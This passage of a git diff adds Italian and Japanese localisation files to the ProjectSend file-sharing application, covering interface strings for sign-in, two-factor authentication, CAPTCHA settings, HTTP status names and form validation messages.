di risolvere una sfida quando commentano.", + "Sign in": "Accedi", + "Sign in with an account you already have somewhere else.": "Accedi con un account che hai già altrove.", + "Site key": "Chiave del sito", + "Social login": "Accesso social", + "Stored encrypted and never shown again, not even to you.": "Memorizzato cifrato e mai più mostrato, nemmeno a te.", + "Stored — leave blank to keep it": "Memorizzato — lascia vuoto per mantenerlo", + "Testing…": "Test in corso…", + "Test keys": "Prova le chiavi", + "That :provider account is already connected to another account here.": "Quell'account :provider è già collegato a un altro account qui.", + "That sign-in could not be completed. Please try again.": "Non è stato possibile completare l'accesso. Riprova.", + "That sign-in method is not available.": "Quel metodo di accesso non è disponibile.", + "The default language has to be one of the languages you are offering.": "La lingua predefinita deve essere una delle lingue che offri.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Gli endpoint vengono letti da questo indirizzo, quindi è tutta la configurazione. Deve essere https.", + "The expiry date must be in the future.": "La data di scadenza deve essere nel futuro.", + "The issuer URL must start with https://.": "L'URL dell'emittente deve iniziare con https://.", + "The public key. It appears in your pages’ source, which is expected.": "La chiave pubblica. Compare nel codice sorgente delle tue pagine, il che è normale.", + "There is no account here for that address.": "Qui non esiste alcun account per quell'indirizzo.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Impossibile caricare il controllo di sicurezza. Verifica che il tuo browser o la tua rete non lo stia bloccando, poi ricarica la pagina.", + "This account does not use an authenticator app.": "Questo account non usa un'app di autenticazione.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Questo account non ha mai avuto una password propria: accede tramite un provider collegato. Lo staff ha bisogno di una credenziale che questa applicazione possa verificare da sola, così che un'interruzione del provider non lo lasci fuori.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Questo account accede con un'app di autenticazione. Rimuovila solo se il titolare ha perso sia l'app sia i codici di recupero.", + "This file has reached its download limit.": "Questo file ha raggiunto il suo limite di download.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Questo è l'unico modo in cui puoi accedere. Imposta prima una password, poi scollega :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Questo sito è protetto da reCAPTCHA e si applicano l'Informativa sulla privacy e i Termini di servizio di Google.", + "Those files have reached their download limit.": "Quei file hanno raggiunto il loro limite di download.", + "Timezone": "Fuso orario", + "To update, back up your database and files, then:": "Per aggiornare, fai un backup del database e dei file, poi:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Per aggiornare, segui i passaggi in INSTALL.md: prima fai un backup, poi estrai la release ed esegui le migrazioni.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Disattiva questa opzione solo se questo server non deve fare richieste in uscita. Se il servizio non è raggiungibile la password viene comunque accettata, quindi un'installazione offline non viene mai bloccata da essa.", + "Two-factor authentication removed.": "Autenticazione a due fattori rimossa.", + "Two-factor authentication removed by an admin": "Autenticazione a due fattori rimossa da un amministratore", + "Two-factor authentication was removed by an administrator": "L'autenticazione a due fattori è stata rimossa da un amministratore", + "Two-factor authentication was removed from your account": "L'autenticazione a due fattori è stata rimossa dal tuo account", + "Unexpected reply from :provider: :codes": "Risposta inattesa da :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Usato per chiunque non abbia scelto un proprio fuso orario, inclusi i visitatori delle tue pagine pubbliche e dei link condivisi. Ogni account può impostare il proprio nel suo profilo.", + "Use ProjectSend’s protection": "Usa la protezione di ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Usa il tuo account reCAPTCHA o Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Di recente non è stato possibile contattare la verifica, quindi i moduli protetti vengono lasciati passare senza controllo. Nessuno viene bloccato.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Proteggiamo noi i tuoi moduli pubblici. Niente da configurare, nessuna chiave da gestire.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "Ciò che le persone vedono prima di aver scelto qualcosa. Un account con la sessione aperta mantiene la propria scelta, e un visitatore il cui browser richiede una delle lingue sopra ottiene quella: questa è la risposta per tutti gli altri.", + "Which languages people can choose from": "Tra quali lingue le persone possono scegliere", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Il tuo account è stato creato tramite uno di questi provider e non ha una password propria, quindi l'ultima connessione non può essere rimossa. Imposta prima una password se vuoi scollegarla.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Il tuo account è impostato su :timezone, quindi questo non cambierà come vedi tu le date.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Il tuo tenant, non \"common\". Microsoft permette a un utente di cambiare l'indirizzo email del proprio account, quindi un accesso è affidabile solo quando il token proviene dal tenant che hai indicato qui.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Il tuo provider ha rifiutato la chiave segreta di questa installazione, quindi i moduli protetti vengono lasciati passare senza controllo. Controlla la chiave segreta qui sotto.", + "Your public forms are protected. You can switch to your own keys at any time.": "I tuoi moduli pubblici sono protetti. Puoi passare alle tue chiavi in qualsiasi momento." +} diff --git a/lang/it/actions.php b/lang/it/actions.php new file mode 100644 index 00000000..b50c5d3f --- /dev/null +++ b/lang/it/actions.php @@ -0,0 +1,119 @@ + 'Accettare', + 'action' => 'Azione', + 'actions' => 'Azioni', + 'add' => 'Aggiungi', + 'admin' => 'Ammin', + 'agree' => 'Essere d\'accordo', + 'archive' => 'Archivio', + 'assign' => 'Assegnare', + 'associate' => 'Associare', + 'attach' => 'Allega', + 'browse' => 'Naviga', + 'cancel' => 'Annulla', + 'choose' => 'Scegli', + 'choose_file' => 'Scegli il file', + 'choose_image' => 'Scegli Immagine', + 'click_to_copy' => 'Fare clic per copiare', + 'close' => 'Chiudi', + 'collapse' => 'Comprimi', + 'collapse_all' => 'Comprimi tutto', + 'comment' => 'Commenta', + 'confirm' => 'Conferma', + 'connect' => 'Collega', + 'create' => 'Crea', + 'delete' => 'Elimina', + 'detach' => 'Scollega', + 'details' => 'Dettagli', + 'disable' => 'Disattiva', + 'discard' => 'Scarta', + 'done' => 'Fatto', + 'down' => 'Giù', + 'duplicate' => 'Duplica', + 'edit' => 'Modifica', + 'enable' => 'Abilita', + 'expand' => 'Espandi', + 'expand_all' => 'Espandi tutto', + 'explanation' => 'Spiegazione', + 'export' => 'Esporta', + 'file' => 'File', + 'files' => 'File', + 'go_home' => 'Torna alla Home', + 'hide' => 'Nascondi', + 'home' => 'Home', + 'image' => 'Immagine', + 'impersonate' => 'Impersona', + 'impersonation' => 'Impersonificazione', + 'import' => 'Importa', + 'introduction' => 'introduzione', + 'like' => 'Mi Piace', + 'load' => 'Carica', + 'localize' => 'Localizza', + 'log_in' => 'Login', + 'log_out' => 'Disconnettersi', + 'named' => [ + 'add' => 'Aggiungi :name', + 'choose' => 'Scegli :name', + 'create' => 'Crea :name', + 'delete' => 'Cancella :name', + 'duplicate' => 'Duplica: nome', + 'edit' => 'Modifica :name', + 'export' => 'Esporta :name', + 'hide' => 'Nascondi :name', + 'import' => 'Importa :name', + 'new' => 'Nuovo :name', + 'restore' => 'Ripristina :name', + 'save' => 'Salva :name', + 'search' => 'Cerca :name', + 'show' => 'Mostra :name', + 'update' => 'Aggiorna :name', + 'view' => 'Mostra :name', + ], + 'new' => 'Nuovo', + 'no' => 'NO', + 'open' => 'Aprire', + 'open_website' => 'Apri sul sito', + 'preview' => 'Anteprima', + 'price' => 'Prezzo', + 'record' => 'Documentazione', + 'restore' => 'Ripristina', + 'save' => 'Salva', + 'save_and_close' => 'Salva e chiudi', + 'save_and_return' => 'Salva e ritorna', + 'search' => 'Ricerca', + 'select' => 'Seleziona', + 'select_all' => 'Seleziona tutto', + 'send' => 'Invia', + 'settings' => 'Impostazioni', + 'show' => 'Mostra', + 'show_all' => 'Mostra tutto', + 'sign_in' => 'Accedi', + 'solve' => 'Risolvere', + 'start' => 'Avvia', + 'stop' => 'Ferma', + 'submit' => 'Invia', + 'subscribe' => 'Sottoscrivi', + 'switch' => 'Passa', + 'switch_to_role' => 'Passa al ruolo', + 'tag' => 'Etichetta', + 'tags' => 'Etichette', + 'target_link' => [ + 'blank' => 'Apri in una nuova finestra', + 'parent' => 'Apri in un frame principale', + 'self' => 'Apri in una finestra corrente', + 'top' => 'Apri nel riquadro più in alto', + ], + 'translate' => 'Traduci', + 'translate_it' => 'Traducilo', + 'unpack' => 'Decomprimi', + 'unsubscribe' => 'Annulla l\'iscrizione', + 'up' => 'Su', + 'update' => 'Aggiorna', + 'user' => 'Utente', + 'view' => 'Visualizza', + 'yes' => 'SI', +]; diff --git a/lang/it/auth.php b/lang/it/auth.php new file mode 100644 index 00000000..54a09678 --- /dev/null +++ b/lang/it/auth.php @@ -0,0 +1,9 @@ + 'Credenziali non valide.', + 'password' => 'Il campo :attribute non è corretto.', + 'throttle' => 'Troppi tentativi di accesso. Riprova tra :seconds secondi.', +]; diff --git a/lang/it/http-statuses.php b/lang/it/http-statuses.php new file mode 100644 index 00000000..72321c32 --- /dev/null +++ b/lang/it/http-statuses.php @@ -0,0 +1,84 @@ + 'Errore sconosciuto', + '100' => 'Continua', + '101' => 'Scambiando protocolli', + '102' => 'In processo', + '200' => 'OK', + '201' => 'Creato', + '202' => 'Accettato', + '203' => 'Informazione non autorevole', + '204' => 'Nessun contenuto', + '205' => 'Resetta il contenuto', + '206' => 'Contenuto parziale', + '207' => 'Stati multipli', + '208' => 'Già riportato', + '226' => 'IM utilizzati', + '300' => 'Scelte multiple', + '301' => 'Trasferito permanentemente', + '302' => 'Trovato', + '303' => 'Guarda altro', + '304' => 'Non modificata', + '305' => 'Usa un proxy', + '307' => 'Re-indirizzamento temporaneo', + '308' => 'Re-indirizzamento permanente', + '400' => 'Cattiva richiesta', + '401' => 'Non autorizzata', + '402' => 'Pagamento richiesto', + '403' => 'Accesso vietato', + '404' => 'Pagina non trovata', + '405' => 'Metodo non consentito', + '406' => 'Non accettabile', + '407' => 'Autenticazione al proxy richiesta', + '408' => 'Tempo scaduto per la richiesta', + '409' => 'Conflitto', + '410' => 'Andata', + '411' => 'Lunghezza necessaria', + '412' => 'Precondizione fallita', + '413' => 'Payload troppo grande', + '414' => 'URI troppo lungo', + '415' => 'Media Type non supportato', + '416' => 'intervallo non soddisfacibile', + '417' => 'Aspettativa fallita', + '418' => 'Sono una teiera', + '419' => 'Sessione scaduta', + '421' => 'Richiesta mal indirizzata', + '422' => 'Entità improcessabile', + '423' => 'Bloccata', + '424' => 'Dipendenza fallita', + '425' => 'Troppo presto', + '426' => 'Aggiornamento richiesto', + '428' => 'Precondizione necessaria', + '429' => 'Troppe richieste', + '431' => 'Campi header della richiesta troppo grandi', + '444' => 'Connessione chiusa senza risposta', + '449' => 'Riprova con', + '451' => 'Non disponibile per motivi legali', + '499' => 'Richiesta chiusa del cliente', + '500' => 'Errore interno al server', + '501' => 'Non implementato', + '502' => 'Gateway cattivo', + '503' => 'In manutenzione', + '504' => 'Tempo scaduto per il gateway', + '505' => 'Versione HTTP non supportata', + '506' => 'Variante anche negozia', + '507' => 'Spazio insufficiente', + '508' => 'Loop identificato', + '509' => 'Limita di banda superato', + '510' => 'Non esteso', + '511' => 'Autenticazione di rete necessaria', + '520' => 'Errore sconosciuto', + '521' => 'Web server spento', + '522' => 'Tempo scaduto per la connessione', + '523' => 'Origine non raggiungibile', + '524' => 'Un timeout è avvenuto', + '525' => 'Handshake SSL fallita', + '526' => 'Certificato SSL invalido', + '527' => 'Errore del cannone a rotaia', + '598' => 'Errore timeout lettura rete', + '599' => 'Errore di timeout della connessione di rete', + 'unknownError' => 'Errore sconosciuto', +]; diff --git a/lang/it/pagination.php b/lang/it/pagination.php new file mode 100644 index 00000000..64cdccc0 --- /dev/null +++ b/lang/it/pagination.php @@ -0,0 +1,8 @@ + 'Successivo »', + 'previous' => '« Precedente', +]; diff --git a/lang/it/passwords.php b/lang/it/passwords.php new file mode 100644 index 00000000..eb946bc4 --- /dev/null +++ b/lang/it/passwords.php @@ -0,0 +1,11 @@ + 'La password è stata reimpostata!', + 'sent' => 'Ti abbiamo inviato una email con il link per il reset della password!', + 'throttled' => 'Per favore, attendi prima di riprovare.', + 'token' => 'Questo token di reset della password non è valido.', + 'user' => 'Non riusciamo a trovare un utente con questo indirizzo email.', +]; diff --git a/lang/it/validation.php b/lang/it/validation.php new file mode 100644 index 00000000..bef22089 --- /dev/null +++ b/lang/it/validation.php @@ -0,0 +1,288 @@ + ':Attribute deve essere accettato.', + 'accepted_if' => ':Attribute deve essere accettato quando :other è :value.', + 'active_url' => ':Attribute non è un URL valido.', + 'after' => ':Attribute deve essere una data successiva al :date.', + 'after_or_equal' => ':Attribute deve essere una data successiva o uguale al :date.', + 'alpha' => ':Attribute può contenere solo lettere.', + 'alpha_dash' => ':Attribute può contenere solo lettere, numeri e trattini.', + 'alpha_num' => ':Attribute può contenere solo lettere e numeri.', + 'any_of' => 'Il campo :attribute non è valido.', + 'array' => ':Attribute deve essere un array.', + 'ascii' => ':Attribute deve contenere solo caratteri alfanumerici single-byte e simboli.', + 'before' => ':Attribute deve essere una data precedente al :date.', + 'before_or_equal' => ':Attribute deve essere una data precedente o uguale al :date.', + 'between' => [ + 'array' => ':Attribute deve avere tra :min - :max elementi.', + 'file' => ':Attribute deve trovarsi tra :min - :max kilobyte.', + 'numeric' => ':Attribute deve trovarsi tra :min - :max.', + 'string' => ':Attribute deve trovarsi tra :min - :max caratteri.', + ], + 'boolean' => 'Il campo :attribute deve essere vero o falso.', + 'can' => 'Il campo :attribute contiene un valore non autorizzato.', + 'confirmed' => 'Il campo di conferma per :attribute non coincide.', + 'contains' => 'Il campo :attribute non contiene un valore richiesto.', + 'current_password' => 'Password non valida.', + 'date' => ':Attribute non è una data valida.', + 'date_equals' => ':Attribute deve essere una data e uguale a :date.', + 'date_format' => ':Attribute non coincide con il formato :format.', + 'decimal' => ':Attribute deve avere :decimal cifre decimali.', + 'declined' => ':Attribute deve essere rifiutato.', + 'declined_if' => ':Attribute deve essere rifiutato quando :other è :value.', + 'different' => ':Attribute e :other devono essere differenti.', + 'digits' => ':Attribute deve essere di :digits cifre.', + 'digits_between' => ':Attribute deve essere tra :min e :max cifre.', + 'dimensions' => 'Le dimensioni dell\'immagine di :attribute non sono valide.', + 'distinct' => ':Attribute contiene un valore duplicato.', + 'doesnt_contain' => 'Il campo :attribute non deve contenere alcuno dei seguenti: :values.', + 'doesnt_end_with' => ':Attribute non può terminare con uno dei seguenti valori: :values.', + 'doesnt_start_with' => ':Attribute non può iniziare con uno dei seguenti valori: :values.', + 'email' => ':Attribute non è valido.', + 'encoding' => 'Il campo :attribute deve essere codificato in :encoding.', + 'ends_with' => ':Attribute deve finire con uno dei seguenti valori: :values', + 'enum' => 'Il campo :attribute non è valido.', + 'exists' => ':Attribute selezionato non è valido.', + 'extensions' => 'Il campo :attribute deve avere una delle seguenti estensioni: :values.', + 'file' => ':Attribute deve essere un file.', + 'filled' => 'Il campo :attribute deve contenere un valore.', + 'gt' => [ + 'array' => ':Attribute deve contenere più di :value elementi.', + 'file' => ':Attribute deve essere maggiore di :value kilobyte.', + 'numeric' => ':Attribute deve essere maggiore di :value.', + 'string' => ':Attribute deve contenere più di :value caratteri.', + ], + 'gte' => [ + 'array' => ':Attribute deve contenere un numero di elementi uguale o maggiore di :value.', + 'file' => ':Attribute deve essere uguale o maggiore di :value kilobyte.', + 'numeric' => ':Attribute deve essere uguale o maggiore di :value.', + 'string' => ':Attribute deve contenere un numero di caratteri uguale o maggiore di :value.', + ], + 'hex_color' => 'Il campo :attribute deve essere un colore esadecimale valido.', + 'image' => ':Attribute deve essere un\'immagine.', + 'in' => ':Attribute selezionato non è valido.', + 'in_array' => 'Il valore del campo :attribute non esiste in :other.', + 'in_array_keys' => 'Il campo :attribute deve contenere almeno una delle seguenti chiavi: :values.', + 'integer' => ':Attribute deve essere un numero intero.', + 'ip' => ':Attribute deve essere un indirizzo IP valido.', + 'ipv4' => ':Attribute deve essere un indirizzo IPv4 valido.', + 'ipv6' => ':Attribute deve essere un indirizzo IPv6 valido.', + 'json' => ':Attribute deve essere una stringa JSON valida.', + 'list' => 'Il campo :attribute deve essere un elenco.', + 'lowercase' => ':Attribute deve contenere solo caratteri minuscoli.', + 'lt' => [ + 'array' => ':Attribute deve contenere meno di :value elementi.', + 'file' => ':Attribute deve essere minore di :value kilobyte.', + 'numeric' => ':Attribute deve essere minore di :value.', + 'string' => ':Attribute deve contenere meno di :value caratteri.', + ], + 'lte' => [ + 'array' => ':Attribute deve contenere un numero di elementi minore o uguale a :value.', + 'file' => ':Attribute deve essere minore o uguale a :value kilobyte.', + 'numeric' => ':Attribute deve essere minore o uguale a :value.', + 'string' => ':Attribute deve contenere un numero di caratteri minore o uguale a :value.', + ], + 'mac_address' => 'Il campo :attribute deve essere un indirizzo MAC valido .', + 'max' => [ + 'array' => ':Attribute non può avere più di :max elementi.', + 'file' => ':Attribute non può essere superiore a :max kilobyte.', + 'numeric' => ':Attribute non può essere superiore a :max.', + 'string' => ':Attribute non può contenere più di :max caratteri.', + ], + 'max_digits' => ':Attribute non può contenere più di :max cifre.', + 'mimes' => ':Attribute deve essere del tipo: :values.', + 'mimetypes' => ':Attribute deve essere del tipo: :values.', + 'min' => [ + 'array' => ':Attribute deve avere almeno :min elementi.', + 'file' => ':Attribute deve essere almeno di :min kilobyte.', + 'numeric' => ':Attribute deve essere almeno :min.', + 'string' => ':Attribute deve contenere almeno :min caratteri.', + ], + 'min_digits' => ':Attribute deve contenere almeno :min cifre.', + 'missing' => 'Il campo :attribute deve mancare.', + 'missing_if' => 'Il campo :attribute deve mancare quando :other è :value.', + 'missing_unless' => 'Il campo :attribute deve mancare a meno che :other non sia :value.', + 'missing_with' => 'Il campo :attribute deve mancare quando è presente :values.', + 'missing_with_all' => 'Il campo :attribute deve mancare quando sono presenti :values.', + 'multiple_of' => ':Attribute deve essere un multiplo di :value', + 'not_in' => 'Il valore selezionato per :attribute non è valido.', + 'not_regex' => 'Il formato di :attribute non è valido.', + 'numeric' => ':Attribute deve essere un numero.', + 'password' => [ + 'letters' => ':Attribute deve contenere almeno un carattere.', + 'mixed' => ':Attribute deve contenere almeno un carattere maiuscolo ed un carattere minuscolo.', + 'numbers' => ':Attribute deve contenere almeno un numero.', + 'symbols' => ':Attribute deve contenere almeno un simbolo.', + 'uncompromised' => ':Attribute è presente negli archivi dei dati trafugati. Per piacere scegli un valore differente per :attribute.', + ], + 'present' => 'Il campo :attribute deve essere presente.', + 'present_if' => 'Il campo :attribute deve essere presente quando :other è :value.', + 'present_unless' => 'Il campo :attribute deve essere presente a meno che :other non sia :value.', + 'present_with' => 'Il campo :attribute deve essere presente quando è presente :values.', + 'present_with_all' => 'Il campo :attribute deve essere presente quando sono presenti :values.', + 'prohibited' => ':Attribute non consentito.', + 'prohibited_if' => ':Attribute non consentito quando :other è :value.', + 'prohibited_if_accepted' => 'Il campo :attribute è vietato quando :other è accettato.', + 'prohibited_if_declined' => 'Il campo :attribute è vietato quando :other è rifiutato.', + 'prohibited_unless' => ':Attribute non consentito a meno che :other sia contenuto in :values.', + 'prohibits' => ':Attribute impedisce a :other di essere presente.', + 'regex' => 'Il formato del campo :attribute non è valido.', + 'required' => 'Il campo :attribute è richiesto.', + 'required_array_keys' => 'Il campo :attribute deve contenere voci per: :values.', + 'required_if' => 'Il campo :attribute è richiesto quando :other è :value.', + 'required_if_accepted' => ':Attribute è richiesto quando :other è accettato.', + 'required_if_declined' => 'Il campo :attribute è richiesto quando :other è rifiutato.', + 'required_unless' => 'Il campo :attribute è richiesto a meno che :other sia in :values.', + 'required_with' => 'Il campo :attribute è richiesto quando :values è presente.', + 'required_with_all' => 'Il campo :attribute è richiesto quando :values sono presenti.', + 'required_without' => 'Il campo :attribute è richiesto quando :values non è presente.', + 'required_without_all' => 'Il campo :attribute è richiesto quando nessuno di :values è presente.', + 'same' => ':Attribute e :other devono coincidere.', + 'size' => [ + 'array' => ':Attribute deve contenere :size elementi.', + 'file' => ':Attribute deve essere :size kilobyte.', + 'numeric' => ':Attribute deve essere :size.', + 'string' => ':Attribute deve contenere :size caratteri.', + ], + 'starts_with' => ':Attribute deve iniziare con uno dei seguenti: :values', + 'string' => ':Attribute deve essere una stringa.', + 'timezone' => ':Attribute deve essere una zona valida.', + 'ulid' => ':Attribute deve essere un ULID valido.', + 'unique' => ':Attribute è stato già utilizzato.', + 'uploaded' => ':Attribute non è stato caricato.', + 'uppercase' => ':Attribute deve contenere solo caratteri maiuscoli.', + 'url' => 'Il formato del campo :attribute non è valido.', + 'uuid' => ':Attribute deve essere un UUID valido.', + 'attributes' => [ + 'address' => 'indirizzo', + 'affiliate_url' => 'URL di affiliazione', + 'age' => 'età', + 'amount' => 'Quantità', + 'announcement' => 'annuncio', + 'area' => 'la zona', + 'audience_prize' => 'premio del pubblico', + 'audience_winner' => 'audience winner', + 'available' => 'disponibile', + 'birthday' => 'compleanno', + 'body' => 'corpo', + 'city' => 'città', + 'color' => 'color', + 'company' => 'company', + 'compilation' => 'compilazione', + 'concept' => 'concetto', + 'conditions' => 'condizioni', + 'content' => 'contenuto', + 'contest' => 'contest', + 'country' => 'paese', + 'cover' => 'copertina', + 'created_at' => 'creato il', + 'creator' => 'Creatore', + 'currency' => 'valuta', + 'current_password' => 'password attuale', + 'customer' => 'cliente', + 'date' => 'data', + 'date_of_birth' => 'data di nascita', + 'dates' => 'date', + 'day' => 'giorno', + 'deleted_at' => 'cancellato il', + 'description' => 'descrizione', + 'display_type' => 'tipo di visualizzazione', + 'district' => 'quartiere', + 'duration' => 'durata', + 'email' => 'e-mail', + 'excerpt' => 'estratto', + 'filter' => 'filtro', + 'finished_at' => 'finito alle', + 'first_name' => 'nome', + 'gender' => 'genere', + 'grand_prize' => 'grand prize', + 'group' => 'gruppo', + 'hour' => 'ora', + 'image' => 'Immagine', + 'image_desktop' => 'immagine del desktop', + 'image_main' => 'immagine principale', + 'image_mobile' => 'immagine mobile', + 'images' => 'immagini', + 'is_audience_winner' => 'è il vincitore del pubblico', + 'is_hidden' => 'è nascosto', + 'is_subscribed' => 'è iscritto', + 'is_visible' => 'è visibile', + 'is_winner' => 'è vincitore', + 'items' => 'elementi', + 'key' => 'chiave', + 'last_name' => 'cognome', + 'lesson' => 'lezione', + 'line_address_1' => 'indirizzo di linea 1', + 'line_address_2' => 'indirizzo di linea 2', + 'login' => 'login', + 'message' => 'Messaggio', + 'middle_name' => 'secondo nome', + 'minute' => 'minuto', + 'mobile' => 'cellulare', + 'month' => 'mese', + 'name' => 'nome', + 'national_code' => 'codice nazionale', + 'number' => 'numero', + 'password' => 'password', + 'password_confirmation' => 'conferma password', + 'phone' => 'telefono', + 'photo' => 'foto', + 'portfolio' => 'portafoglio', + 'postal_code' => 'Codice Postale', + 'preview' => 'anteprima', + 'price' => 'prezzo', + 'product_id' => 'Codice prodotto', + 'product_uid' => 'ID del prodotto', + 'product_uuid' => 'UUID del prodotto', + 'promo_code' => 'codice promozionale', + 'province' => 'Provincia', + 'quantity' => 'quantità', + 'reason' => 'motivo', + 'recaptcha_response_field' => 'campo di risposta recaptcha', + 'referee' => 'arbitro', + 'referees' => 'arbitri', + 'region' => 'region', + 'reject_reason' => 'rifiutare la ragione', + 'remember' => 'ricordare', + 'restored_at' => 'ripristinato il', + 'result_text_under_image' => 'testo del risultato sotto l\'immagine', + 'role' => 'ruolo', + 'rule' => 'regola', + 'rules' => 'regole', + 'second' => 'secondo', + 'sex' => 'sesso', + 'shipment' => 'spedizione', + 'short_text' => 'testo breve', + 'size' => 'dimensione', + 'skills' => 'competenze', + 'slug' => 'lumaca', + 'specialization' => 'specializzazione', + 'started_at' => 'iniziato alle', + 'state' => 'stato', + 'status' => 'stato', + 'street' => 'strada', + 'student' => 'alunno', + 'subject' => 'argomento', + 'tag' => 'etichetta', + 'tags' => 'tag', + 'teacher' => 'insegnante', + 'terms' => 'termini', + 'test_description' => 'descrizione del testo', + 'test_locale' => 'locale di prova', + 'test_name' => 'nome di prova', + 'text' => 'testo', + 'time' => 'ora', + 'title' => 'titolo', + 'type' => 'tipo', + 'updated_at' => 'aggiornato il', + 'user' => 'utente', + 'username' => 'nome utente', + 'value' => 'valore', + 'winner' => 'winner', + 'work' => 'work', + 'year' => 'anno', + ], +]; diff --git a/lang/ja.json b/lang/ja.json new file mode 100644 index 00000000..0966f722 --- /dev/null +++ b/lang/ja.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName が「:itemName」をアップロードしました", + ":count accounts have this role": "このロールのアカウント: :count 件", + ":count awaiting approval": ":count 件が承認待ちです", + ":count downloads": ":count 回のダウンロード", + ":count file deleted.|:count files deleted.": ":count 件のファイルを削除しました。|:count 件のファイルを削除しました。", + ":count file imported.|:count files imported.": ":count 件のファイルをインポートしました。|:count 件のファイルをインポートしました。", + ":count files": ":count 件のファイル", + ":count folders": ":count 件のフォルダ", + ":count items have been shared with you": ":count 件のアイテムが共有されました", + ":count members": ":count 人のメンバー", + ":count selected": ":count 件を選択中", + ":files files": ":files 件のファイル", + ":itemName was shared with you": "「:itemName」が共有されました", + ":name will not be added to the group \":group\".": ":name はグループ「:group」に追加されません。", + ":total total": "合計 :total", + ":used / :limit downloads": ":used / :limit 回のダウンロード", + ":used MB of :quota MB used": ":quota MB 中 :used MB を使用", + ":used MB used, no limit": ":used MB を使用、上限なし", + "(and :count more error)": "(その他、:countエラーあり)", + "(and :count more errors)": "(その他、:countエラーあり)", + "(deleted account)": "(削除済みのアカウント)", + "0 means unlimited.": "0 は無制限を意味します。", + "A client account request was approved": "クライアントアカウントの申請が承認されました", + "A client account request was denied": "クライアントアカウントの申請が却下されました", + "A client left a group": "クライアントがグループを退出しました", + "A client registered an account": "クライアントがアカウントを登録しました", + "A client requested to join a group": "クライアントがグループへの参加を申請しました", + "A client uploaded a file": "クライアントがファイルをアップロードしました", + "A client was added to a group": "クライアントがグループに追加されました", + "A client was removed from a group": "クライアントがグループから削除されました", + "A decryption key is required.": "復号キーは必須です。", + "A file assignment was removed": "ファイルの割り当てが解除されました", + "A file has been shared with you": "ファイルが共有されました", + "A file or folder was shared with you": "ファイルまたはフォルダが共有されました", + "A file was assigned": "ファイルが割り当てられました", + "A file was deleted": "ファイルが削除されました", + "A file was downloaded": "ファイルがダウンロードされました", + "A file was downloaded via a public link": "公開リンク経由でファイルがダウンロードされました", + "A file was downloaded via the public group listing": "公開グループ一覧からファイルがダウンロードされました", + "A file was updated": "ファイルが更新されました", + "A file was uploaded": "ファイルがアップロードされました", + "A folder cannot be moved into itself.": "フォルダを自分自身の中へ移動することはできません。", + "A folder has been shared with you": "フォルダが共有されました", + "A folder was created": "フォルダが作成されました", + "A folder was deleted": "フォルダが削除されました", + "A folder was moved": "フォルダが移動されました", + "A folder was renamed": "フォルダの名前が変更されました", + "A folder was shared": "フォルダが共有されました", + "A folder was unshared": "フォルダの共有が解除されました", + "A group membership request was approved": "グループ参加の申請が承認されました", + "A group membership request was denied": "グループ参加の申請が却下されました", + "A group membership was requested": "グループへの参加が申請されました", + "A group was created": "グループが作成されました", + "A group was deleted": "グループが削除されました", + "A group was updated": "グループが更新されました", + "A new client account was created: :name (:email).": "新しいクライアントアカウントが作成されました: :name (:email)。", + "A new client has registered": "新しいクライアントが登録しました", + "A new ProjectSend version is available": "ProjectSend の新しいバージョンが利用できます", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "グループを公開に設定すると、そのページには常に専用リンクからアクセスできます。ここで設定するのは基準となる URL と、公開中のグループとファイルを一度に一覧表示する任意のディレクトリだけです。", + "A public link was created": "公開リンクが作成されました", + "A public link was revoked": "公開リンクが無効化されました", + "A role was created": "ロールが作成されました", + "A role was deleted": "ロールが削除されました", + "A role was updated": "ロールが更新されました", + "A Timeout Occurred": "タイムアウト発生", + "About": "バージョン情報", + "Accept": "承諾", + "Accepted": "承認済", + "Account": "アカウント", + "Account deletion grace period (days)": "アカウント削除までの猶予期間 (日)", + "Account is active": "アカウントは有効です", + "Account Manager": "アカウントマネージャー", + "Account request approved.": "アカウント申請を承認しました。", + "Account request denied.": "アカウント申請を却下しました。", + "Account requests": "アカウント申請", + "Account settings": "アカウント設定", + "Account type": "アカウントの種類", + "Accounts": "アカウント", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "この要件の対象となるアカウントは、アプリケーションを使い続ける前に二要素認証を設定する必要があります。", + "Action": "アクション", + "Actions": "アクション", + "Activate": "有効化", + "Activated the account \":subject\"": "アカウント「:subject」を有効化しました", + "Activating this account approves its pending request.": "このアカウントを有効化すると、保留中の申請も承認されます。", + "Active": "有効", + "Activity": "アクティビティ", + "Activity log": "アクティビティログ", + "Add": "追加", + "Add :name": ":nameを追加", + "Add a category": "カテゴリを追加", + "Add a client": "クライアントを追加", + "Add a second step to your login using an authenticator app.": "認証アプリを使って、ログインに 2 つ目のステップを追加します。", + "Add new clients to this group": "このグループに新しいクライアントを追加", + "Added \":member\" to the group \":subject\"": "「:member」をグループ「:subject」に追加しました", + "Admin": "管理者", + "Admin notification recipients": "管理者通知の宛先", + "Admin: client uploaded a file": "管理者向け: クライアントがファイルをアップロード", + "Admin: group membership requested": "管理者向け: グループ参加の申請", + "Admin: new client registered": "管理者向け: 新しいクライアントが登録", + "Administration": 